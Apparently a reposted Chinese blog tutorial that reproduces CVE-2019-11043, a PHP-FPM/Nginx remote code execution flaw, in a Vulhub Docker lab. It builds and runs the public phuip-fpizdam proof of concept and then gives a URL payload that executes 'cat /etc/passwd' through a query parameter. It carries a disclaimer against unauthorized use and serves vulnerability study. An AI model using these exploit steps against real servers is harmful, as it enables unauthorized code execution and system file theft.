今天继续给大家介绍渗透测试相关知识，本文主要内容是CVE-2019-11043（PHP远程代码执行漏洞）复现。
免责声明：
本文所介绍的内容仅做学习交流使用，严禁利用文中技术进行非法行为，否则造成一切严重后果自负！
再次强调：严禁对未授权设备进行渗透测试！
一、CVE-2019-11043（PHP远程代码执行漏洞）简介
CVE-2019-11043漏洞是PHP的一个远程代码执行漏洞，该漏洞产生与Nginx利用fastcgi_split_path_info在处理带有 %0a 的请求时，会因为遇到换行符（%0a）导致PATH_INFO为空，最终可导致任意代码执行。
关于该漏洞详细分析可参考文章：CVE-2019-11043 Nginx配置详解
该漏洞普遍出现在Nginx+php-fpm环境中，且PHP版本在7.0-7.3之间。
二、CVE-2019-11043（PHP远程代码执行漏洞）漏洞环境搭建
为了复现该漏洞，我们首先需要搭建该漏洞环境。我们使用Vulhub来搭建该漏洞环境。安装完Vulhub后，我们可以在Vulhub的PHP目录下，找到该漏洞，如下所示：
进入该漏洞目录后，我们执行命令：
docker-compose build
即可构建该漏洞，该命令执行结果如下所示：
之后，我们执行命令：
docker-compose up -d
即可大概该漏洞的环境，该命令执行结果如下所示：
打开该漏洞环境后，执行命令：
docker-compose config
可以查看该漏洞的docker配置，之后，我们可以使用浏览器访问，该漏洞页面如下所示：
三、CVE-2019-11043（PHP远程代码执行漏洞）漏洞利用工具安装
为了利用该漏洞，我们使用Github上该漏洞的公开POC。首先，我们git克隆该poc的安装包，执行命令：
git clone https://github.com/neex/phuip-fpizdam.git
该命令执行结果如下图所示：
下载后，可以看到本地出现了phuip-fpizdam的目录，如下所示：
该目录内文件如下所示：
之后，我们需要编译该环境，进入该目录后，执行命令：
go env -w GOPROXY=https://goproxy.cn
go get -v && go build
注意，上述过程需要本地安装golang语言环境，相关过程可以参考文章：Kali Linux安装go语言环境详解
上述命令执行结果如下所示：
这样，我们的漏洞利用POC就安装完成了。
四、CVE-2019-11043（PHP远程代码执行漏洞）复现
最后，我们就可以复现CVE-2019-11043（PHP远程代码执行漏洞）了。在该目录中，执行命令：
go run . "http://192.168.136.13:8080/index.php"
执行结果如下所示：
之后，我们就可以在该页面中，使用参数a来传递执行的命令了。例如，我们要查看/etc/passwd文件的内容，就可以构造如下的poyload：文章来源：https://www.toymoban.com/news/detail-740616.html
http://192.168.136.13:8080/?a=cat%20/etc/passwd
执行后结果如下所示：
注意：由于受到php-fpm多个子进程影响，我们需要访问到php-fpm受污染的子进程才会使得上述payload执行成功，因此我们有时需要多访问几遍，才会出现相关结果。
原创不易，转载请说明出处：https://blog.csdn.net/weixin_40228200文章来源地址https://www.toymoban.com/news/detail-740616.html
到了这里，关于CVE-2019-11043（PHP远程代码执行漏洞）复现的文章就介绍完了。如果您还想了解更多内容，请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章，希望大家以后多多支持TOY模板网！
